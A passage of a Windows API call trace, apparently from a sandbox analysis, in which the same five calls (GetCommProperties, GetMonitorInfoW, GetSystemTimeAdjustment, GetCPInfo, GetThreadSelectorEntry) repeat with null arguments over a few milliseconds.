lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.697] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.697] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.697] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.697] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: 